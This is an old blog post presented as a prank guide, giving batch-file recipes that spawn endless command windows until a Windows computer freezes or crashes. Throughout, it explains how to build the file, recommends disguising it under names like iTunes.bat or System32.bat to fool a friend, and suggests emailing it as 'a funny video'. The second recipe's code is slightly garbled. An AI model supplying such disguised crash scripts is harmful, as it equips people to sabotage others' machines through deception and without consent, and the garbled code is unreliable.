Friday, October 10, 2014

Make A Computer Crash at Startup/ Prank


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his is a VERY simple prank to pull on someone with a fairly devatsating result. 

NOTE: This can be easily reversed through safe mode.


Ingredients:

computer
notepad [within computer]

once memorized, this process can be done in as few as 30 seconds--very easy once known

Step 1: First, You Need to Access Notepad

Go to the computer's start menu> programs> accessories> notepad and open notepad.

I have already used notepad so its in my start list.

Step 2: Creating The Crash File

Within notepad for each line type start.
NOTE: the more times you type start, the faster the computer will crash, and vice versa

Now, below the starts you have typed, name the file anything you want. I used compcrash.bat for display purposes, ideally the name should be less inconspicuous such as iTunes.bat or System32.bat <this is the one I used for my friend =X

Whatever you name the file it MUST be a .bat or it will not work.

CAUTION: If you want to try this on your computer DO NOT include the file name within the text document, simply type out start for a few lines.

Step 3: Saving Your Crash/ Prank File

When you have finished with all of the text within your new text document go to file> save as> and save it to the desktop.

I will save it as compcrash.bat because that is what I typed into the document itself.

Again, it needs to be the same filename.bat or it will not work.

Step 4: A Caution If You Want To Attempt on Your Own Computer

If you are dying to see the results of your newly created crash file, you can do it now.

IT WILL CRASH YOUR COMPUTER IF YOU OPEN THE FILE WITH THE NAME OF THE FILE WITHIN THE TEXT DOCUMENT.

Your computer will be fine with a startup, but I accordingly take no responsibility for anything you do on your own computer or anyone else's for that matter.

How to Crash Your Computer Using a Batch File

For whatever reason, you may want to your computer to crash. Using a batch file to do so will not harm or cause irreparable damage to your computer like other methods. Instead, it will give your computer a series of commands causing it to crash. Here is wikiHow to crash your computer using a batch file.

Method 1 of 2

start %0
%0
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    Open Notepad and paste the text above.
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    Save the file as anything.bat removing the trailing .txt.
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    Find and run anything.bat to cause your computer to crash.
  4. 4
    Finished.

Method 2 of 2: Using up resources on the computer

This method is similar to the first one, but it does not open any windows or programs, making it much more discreet.
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    Copy and paste this code into Notepad or whatever text program you're using.
    • @echo off
      A
    • start
    • goto A:
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    Save as a batch file. It's ready.

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Tips

  • This batch script will open endless command prompts causing the computer to bog down and either freeze or crash. Simply restart the computer to correct any issues.
  • You can attach it to a email to a friend and tell them its a funny video.